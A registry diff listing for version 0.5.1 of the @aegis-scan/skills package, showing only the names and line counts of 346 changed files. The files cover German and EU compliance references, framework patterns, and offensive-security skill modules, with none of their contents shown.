@aegis-scan/skills 0.5.0 → 0.5.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (346) hide show
  1. package/ATTRIBUTION.md +93 -0
  2. package/package.json +1 -1
  3. package/sbom.cdx.json +1 -0
  4. package/skills/compliance/aegis-native/brutaler-anwalt/.claude-plugin/plugin.json +108 -0
  5. package/skills/compliance/aegis-native/brutaler-anwalt/CHANGELOG.md +878 -0
  6. package/skills/compliance/aegis-native/brutaler-anwalt/HANDOVER-LO-LIVE-VERIFICATION-2026-05-15.md +187 -0
  7. package/skills/compliance/aegis-native/brutaler-anwalt/README.md +9 -3
  8. package/skills/compliance/aegis-native/brutaler-anwalt/SKILL.md +93 -14
  9. package/skills/compliance/aegis-native/brutaler-anwalt/commands/audit.md +193 -0
  10. package/skills/compliance/aegis-native/brutaler-anwalt/commands/avv-redline.md +246 -0
  11. package/skills/compliance/aegis-native/brutaler-anwalt/commands/az-verify.md +155 -0
  12. package/skills/compliance/aegis-native/brutaler-anwalt/commands/cold-start.md +157 -0
  13. package/skills/compliance/aegis-native/brutaler-anwalt/commands/dsar-respond.md +180 -0
  14. package/skills/compliance/aegis-native/brutaler-anwalt/commands/health.md +50 -0
  15. package/skills/compliance/aegis-native/brutaler-anwalt/commands/simulate.md +158 -0
  16. package/skills/compliance/aegis-native/brutaler-anwalt/hooks/post_write.py +315 -0
  17. package/skills/compliance/aegis-native/brutaler-anwalt/hooks/prompt_submit.py +144 -0
  18. package/skills/compliance/aegis-native/brutaler-anwalt/hooks/session_start.py +57 -0
  19. package/skills/compliance/aegis-native/brutaler-anwalt/hooks/triggers.json +191 -0
  20. package/skills/compliance/aegis-native/brutaler-anwalt/references/INDEX.md +102 -0
  21. package/skills/compliance/aegis-native/brutaler-anwalt/references/abmahn-templates.md +1 -1
  22. package/skills/compliance/aegis-native/brutaler-anwalt/references/aegis-integration.md +60 -5
  23. package/skills/compliance/aegis-native/brutaler-anwalt/references/audit-patterns.md +745 -11
  24. package/skills/compliance/aegis-native/brutaler-anwalt/references/az-auffuellung-batch1.md +468 -0
  25. package/skills/compliance/aegis-native/brutaler-anwalt/references/bgh-urteile.md +106 -30
  26. package/skills/compliance/aegis-native/brutaler-anwalt/references/branchenrecht.md +247 -2
  27. package/skills/compliance/aegis-native/brutaler-anwalt/references/checklisten.md +75 -2
  28. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-aufsichtsbehoerden-taetigkeitsberichte-2024.md +310 -0
  29. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-bussgeld-argumentations-layer.md +598 -0
  30. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-dsk-beschluesse.md +346 -0
  31. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AGG/audit-relevance.md +76 -0
  32. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AGG/paragraphs.md +115 -0
  33. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AMG/audit-relevance.md +58 -0
  34. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AMG/paragraphs.md +95 -0
  35. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ArbZG/audit-relevance.md +60 -0
  36. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ArbZG/paragraphs.md +90 -0
  37. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/BetrVG/audit-relevance.md +73 -0
  38. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/BetrVG/paragraphs.md +114 -0
  39. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DDG/audit-relevance.md +72 -0
  40. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DDG/paragraphs.md +103 -0
  41. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DiGAV/audit-relevance.md +65 -0
  42. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DiGAV/paragraphs.md +102 -0
  43. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ElektroG/audit-relevance.md +66 -0
  44. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ElektroG/paragraphs.md +108 -0
  45. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/FernUSG/audit-relevance.md +80 -0
  46. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/FernUSG/paragraphs.md +102 -0
  47. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GeschGehG/audit-relevance.md +89 -0
  48. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GeschGehG/paragraphs.md +107 -0
  49. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GwG/audit-relevance.md +62 -0
  50. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GwG/paragraphs.md +119 -0
  51. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HWG/audit-relevance.md +70 -0
  52. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HWG/paragraphs.md +125 -0
  53. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HinSchG/audit-relevance.md +70 -0
  54. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HinSchG/paragraphs.md +116 -0
  55. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/INDEX.md +152 -0
  56. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/KWG/audit-relevance.md +64 -0
  57. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/KWG/paragraphs.md +110 -0
  58. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/LFGB/audit-relevance.md +63 -0
  59. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/LFGB/paragraphs.md +90 -0
  60. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/MPDG/audit-relevance.md +61 -0
  61. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/MPDG/paragraphs.md +96 -0
  62. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/NachwG/audit-relevance.md +54 -0
  63. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/NachwG/paragraphs.md +82 -0
  64. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/PAngV/audit-relevance.md +76 -0
  65. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/PAngV/paragraphs.md +86 -0
  66. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/RDG/audit-relevance.md +84 -0
  67. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/RDG/paragraphs.md +114 -0
  68. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/TDDDG/audit-relevance.md +92 -0
  69. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/TDDDG/paragraphs.md +91 -0
  70. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/UrhG-UrhDaG/audit-relevance.md +85 -0
  71. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/UrhG-UrhDaG/paragraphs.md +166 -0
  72. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VDuG/audit-relevance.md +71 -0
  73. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VDuG/paragraphs.md +102 -0
  74. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VERIFICATION-NOTES.md +111 -0
  75. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VVG/audit-relevance.md +65 -0
  76. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VVG/paragraphs.md +101 -0
  77. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VerpackG/audit-relevance.md +62 -0
  78. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VerpackG/paragraphs.md +120 -0
  79. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/WpHG/audit-relevance.md +64 -0
  80. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/WpHG/paragraphs.md +120 -0
  81. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ZAG/audit-relevance.md +68 -0
  82. package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ZAG/paragraphs.md +110 -0
  83. package/skills/compliance/aegis-native/brutaler-anwalt/references/dsgvo.md +55 -8
  84. package/skills/compliance/aegis-native/brutaler-anwalt/references/eu-edpb-guidelines.md +505 -0
  85. package/skills/compliance/aegis-native/brutaler-anwalt/references/eu-eugh-dsgvo-schadensersatz.md +223 -0
  86. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BDSG/audit-relevance.md +31 -0
  87. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BFSG/audit-relevance.md +39 -0
  88. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BGB/audit-relevance.md +42 -0
  89. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/DDG/audit-relevance.md +28 -0
  90. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/DSGVO/audit-relevance.md +35 -0
  91. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/articles.md +4 -1
  92. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/audit-relevance.md +139 -0
  93. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/gpai-pflichten.md +102 -0
  94. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/hochrisiko-annex-iii.md +134 -0
  95. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/sanktionen-art-99.md +97 -0
  96. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/transparenz-art-50.md +120 -0
  97. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/uebergangsfristen.md +109 -0
  98. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CER-2022-2557/articles.md +42 -0
  99. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CRA-2024-2847/articles.md +87 -0
  100. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CSDDD-2024-1760/articles.md +43 -0
  101. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CSRD-2022-2464/articles.md +42 -0
  102. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DGA-2022-868/articles.md +53 -0
  103. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DMA-2022-1925/articles.md +55 -0
  104. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DORA-2022-2554/articles.md +164 -0
  105. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DORA-2022-2554/audit-relevance.md +86 -0
  106. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/articles.md +3 -0
  107. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/audit-relevance.md +110 -0
  108. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/notice-and-action.md +138 -0
  109. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/small-platform-pflichten.md +109 -0
  110. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/trusted-flaggers.md +77 -0
  111. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/vlop-vlose.md +130 -0
  112. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/Data-Act-2023-2854/articles.md +102 -0
  113. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/Data-Act-2023-2854/audit-relevance.md +77 -0
  114. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/MiCA-2023-1114/articles.md +124 -0
  115. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/MiCA-2023-1114/audit-relevance.md +85 -0
  116. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/NIS2-2022-2555/articles.md +101 -0
  117. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/ProdHaftRL-2024-2853/articles.md +68 -0
  118. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/eIDAS-2024-1183/articles.md +43 -0
  119. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/Finance/KWG.md +52 -0
  120. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/Finance/PSD2.md +67 -0
  121. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/Finance/ZAG.md +50 -0
  122. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/GlueStV/articles.md +86 -0
  123. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/HGB-AO/audit-relevance.md +27 -0
  124. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/HinSchG/articles.md +96 -0
  125. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/JuSchG-JMStV/articles.md +86 -0
  126. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/KritisDachG/articles.md +39 -0
  127. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/LkSG/articles.md +90 -0
  128. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/MedTech/DiGAV.md +60 -0
  129. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/MedTech/IVDR-2017-746.md +51 -0
  130. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/MedTech/MDR-2017-745.md +85 -0
  131. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/NIS2UmsuCG-BSIG/articles.md +53 -0
  132. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/StGB/relevante-paragraphen.md +157 -0
  133. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/TDDDG/audit-relevance.md +33 -0
  134. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/TDDDG/paragraphs.md +3 -2
  135. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/TKG/articles.md +73 -0
  136. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/UWG/audit-relevance.md +39 -0
  137. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/UWG/paragraphs.md +71 -3
  138. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/VERIFICATION-STATUS.md +266 -0
  139. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/VSBG/audit-relevance.md +37 -0
  140. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/ePrivacy-RL-2002-58/articles.md +92 -0
  141. package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/ePrivacy-RL-2002-58/audit-relevance.md +62 -0
  142. package/skills/compliance/aegis-native/brutaler-anwalt/references/it-recht.md +115 -9
  143. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/INDEX.md +1 -1
  144. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/ai/anthropic-dpa.md +87 -0
  145. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/astro/cookie-banner-pattern.md +202 -0
  146. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/astro/dse-section-pattern.md +198 -0
  147. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/astro/tracking-server-endpoint.md +193 -0
  148. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/auth/auth0-tom.md +92 -0
  149. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/auth/clerk-tom.md +84 -0
  150. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/django/auth-cookies-pattern.md +295 -0
  151. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/django/cookie-banner-pattern.md +318 -0
  152. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/django/gdpr-cleanup-celery.md +339 -0
  153. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/express/cookie-banner-pattern.md +237 -0
  154. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/express/gdpr-routes-pattern.md +256 -0
  155. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/express/helmet-csp-pattern.md +207 -0
  156. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/agb-versioning-pattern.md +305 -0
  157. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/cookie-banner-pattern.md +287 -0
  158. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/gdpr-models-pattern.md +290 -0
  159. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/tracking-config-pattern.md +263 -0
  160. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/auth-pattern.md +265 -0
  161. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/cookie-banner-pattern.md +255 -0
  162. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/gdpr-cleanup-cron.md +244 -0
  163. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/tracking-interceptor.md +239 -0
  164. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nextjs/api-route-bearer-auth.md +103 -0
  165. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nextjs/dynamic-rendering-headers.md +83 -0
  166. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nextjs/env-driven-tracking.md +135 -0
  167. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/rails/cookie-banner-pattern.md +294 -0
  168. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/rails/devise-dsgvo-pattern.md +262 -0
  169. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/rails/gdpr-anonymization-pattern.md +283 -0
  170. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/react/consent-gate-pattern.md +99 -0
  171. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/react/cookie-banner-pattern.md +204 -0
  172. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/strapi/cms-pii-pattern.md +301 -0
  173. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/strapi/notice-and-action-plugin.md +371 -0
  174. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/svelte/cookie-banner-pattern.md +234 -0
  175. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/svelte/dse-section-pattern.md +231 -0
  176. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/svelte/sveltekit-server-hooks-pattern.md +217 -0
  177. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/tracking/google-analytics-consent.md +129 -0
  178. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/tracking/posthog-consent.md +79 -0
  179. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/cookie-banner-pattern.md +208 -0
  180. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/dse-i18n-pattern.md +204 -0
  181. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/nuxt-vs-vue-only-pattern.md +197 -0
  182. package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/tracking-pinia-pattern.md +211 -0
  183. package/skills/compliance/aegis-native/brutaler-anwalt/references/strafrecht-steuer.md +1 -1
  184. package/skills/compliance/aegis-native/brutaler-anwalt/references/streitwerte.json +176 -0
  185. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/DSFA-template.md +80 -0
  186. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/VVT-template-file-upload.md +98 -0
  187. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-EN-international.md +267 -0
  188. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-Audit-Klausel-Varianten.md +148 -0
  189. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-CH-revDSG.md +127 -0
  190. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-SCC-module2-controller-processor.md +180 -0
  191. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-SCC-module3-processor-subprocessor.md +144 -0
  192. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-Sub-Processor-List.md +114 -0
  193. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-TOMs.md +197 -0
  194. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-UK-IDTA.md +131 -0
  195. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-standard-DE.md +288 -0
  196. package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/Joint-Controller-Vertrag-Art-26.md +265 -0
  197. package/skills/compliance/aegis-native/brutaler-anwalt/scripts/health-check.sh +190 -48
  198. package/skills/compliance/aegis-native/brutaler-anwalt/scripts/test-triggers.sh +145 -0
  199. package/skills/compliance/aegis-native/brutaler-anwalt/settings.json +90 -0
  200. package/skills/defensive/permoon-fork/README.md +40 -0
  201. package/skills/defensive/permoon-fork/multi-model-consolidation/SKILL.md +47 -0
  202. package/skills/defensive/permoon-fork/multi-model-severity/SKILL.md +34 -0
  203. package/skills/defensive/permoon-fork/multi-model-system-prompt/SKILL.md +40 -0
  204. package/skills/foundation/aegis-native/aegis-handover-writer/SKILL.md +1 -1
  205. package/skills/foundation/aegis-native/aegis-quality-gates/SKILL.md +1 -1
  206. package/skills/offensive/airecon-fork/ctf-crypto/SKILL.md +260 -0
  207. package/skills/offensive/airecon-fork/ctf-crypto-modern-ciphers/SKILL.md +688 -0
  208. package/skills/offensive/airecon-fork/ctf-forensics/SKILL.md +253 -0
  209. package/skills/offensive/airecon-fork/ctf-forensics-network/SKILL.md +480 -0
  210. package/skills/offensive/airecon-fork/ctf-heap-advanced/SKILL.md +336 -0
  211. package/skills/offensive/airecon-fork/ctf-pwn/SKILL.md +294 -0
  212. package/skills/offensive/airecon-fork/ctf-pwn-rop-and-shellcode/SKILL.md +392 -0
  213. package/skills/offensive/airecon-fork/ctf-reversing/SKILL.md +284 -0
  214. package/skills/offensive/airecon-fork/frameworks-django/SKILL.md +268 -0
  215. package/skills/offensive/airecon-fork/frameworks-dotnet/SKILL.md +280 -0
  216. package/skills/offensive/airecon-fork/frameworks-express/SKILL.md +266 -0
  217. package/skills/offensive/airecon-fork/frameworks-fastapi/SKILL.md +193 -0
  218. package/skills/offensive/airecon-fork/frameworks-flask/SKILL.md +297 -0
  219. package/skills/offensive/airecon-fork/frameworks-laravel/SKILL.md +260 -0
  220. package/skills/offensive/airecon-fork/frameworks-nextjs/SKILL.md +230 -0
  221. package/skills/offensive/airecon-fork/frameworks-php/SKILL.md +271 -0
  222. package/skills/offensive/airecon-fork/frameworks-rails/SKILL.md +269 -0
  223. package/skills/offensive/airecon-fork/frameworks-spring/SKILL.md +245 -0
  224. package/skills/offensive/airecon-fork/frameworks-wordpress/SKILL.md +348 -0
  225. package/skills/offensive/airecon-fork/payloads-command-injection/SKILL.md +459 -0
  226. package/skills/offensive/airecon-fork/payloads-http-parameter-pollution/SKILL.md +129 -0
  227. package/skills/offensive/airecon-fork/payloads-ldap-injection/SKILL.md +100 -0
  228. package/skills/offensive/airecon-fork/payloads-lfi/SKILL.md +485 -0
  229. package/skills/offensive/airecon-fork/payloads-sqli/SKILL.md +419 -0
  230. package/skills/offensive/airecon-fork/payloads-ssrf/SKILL.md +125 -0
  231. package/skills/offensive/airecon-fork/payloads-ssti/SKILL.md +443 -0
  232. package/skills/offensive/airecon-fork/payloads-xss/SKILL.md +447 -0
  233. package/skills/offensive/airecon-fork/payloads-xxe/SKILL.md +172 -0
  234. package/skills/offensive/airecon-fork/postexploit-ad-credential-attacks/SKILL.md +306 -0
  235. package/skills/offensive/airecon-fork/postexploit-container-escape/SKILL.md +299 -0
  236. package/skills/offensive/airecon-fork/postexploit-credential-dumping/SKILL.md +249 -0
  237. package/skills/offensive/airecon-fork/postexploit-lateral-movement/SKILL.md +194 -0
  238. package/skills/offensive/airecon-fork/postexploit-linux-privesc/SKILL.md +252 -0
  239. package/skills/offensive/airecon-fork/postexploit-netexec-workflow/SKILL.md +302 -0
  240. package/skills/offensive/airecon-fork/postexploit-pivoting/SKILL.md +205 -0
  241. package/skills/offensive/airecon-fork/postexploit-windows-privesc/SKILL.md +210 -0
  242. package/skills/offensive/airecon-fork/protocols-active-directory/SKILL.md +314 -0
  243. package/skills/offensive/airecon-fork/protocols-dns/SKILL.md +203 -0
  244. package/skills/offensive/airecon-fork/protocols-ftp/SKILL.md +159 -0
  245. package/skills/offensive/airecon-fork/protocols-graphql/SKILL.md +648 -0
  246. package/skills/offensive/airecon-fork/protocols-kerberos/SKILL.md +168 -0
  247. package/skills/offensive/airecon-fork/protocols-ldap/SKILL.md +245 -0
  248. package/skills/offensive/airecon-fork/protocols-rdp/SKILL.md +186 -0
  249. package/skills/offensive/airecon-fork/protocols-smb/SKILL.md +191 -0
  250. package/skills/offensive/airecon-fork/protocols-smtp-imap/SKILL.md +263 -0
  251. package/skills/offensive/airecon-fork/protocols-snmp/SKILL.md +147 -0
  252. package/skills/offensive/airecon-fork/protocols-ssh/SKILL.md +287 -0
  253. package/skills/offensive/airecon-fork/reconnaissance-asn-whois-osint/SKILL.md +236 -0
  254. package/skills/offensive/airecon-fork/reconnaissance-ctf-methodology/SKILL.md +435 -0
  255. package/skills/offensive/airecon-fork/reconnaissance-dorking/SKILL.md +182 -0
  256. package/skills/offensive/airecon-fork/reconnaissance-exposed-devtools-detection/SKILL.md +513 -0
  257. package/skills/offensive/airecon-fork/reconnaissance-full-recon/SKILL.md +305 -0
  258. package/skills/offensive/airecon-fork/reconnaissance-internal-pentest/SKILL.md +202 -0
  259. package/skills/offensive/airecon-fork/reconnaissance-javascript-analysis/SKILL.md +167 -0
  260. package/skills/offensive/airecon-fork/reconnaissance-js-internal-hostname-intelligence/SKILL.md +391 -0
  261. package/skills/offensive/airecon-fork/reconnaissance-monitoring-secrets-exposure/SKILL.md +394 -0
  262. package/skills/offensive/airecon-fork/reconnaissance-shodan-censys/SKILL.md +279 -0
  263. package/skills/offensive/airecon-fork/reconnaissance-subdomain-enum/SKILL.md +952 -0
  264. package/skills/offensive/airecon-fork/technologies-cicd-attacks/SKILL.md +283 -0
  265. package/skills/offensive/airecon-fork/technologies-cloud-security/SKILL.md +299 -0
  266. package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
  267. package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
  268. package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
  269. package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
  270. package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
  271. package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
  272. package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
  273. package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
  274. package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
  275. package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
  276. package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
  277. package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
  278. package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
  279. package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
  280. package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
  281. package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
  282. package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
  283. package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
  284. package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
  285. package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
  286. package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
  287. package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
  288. package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
  289. package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
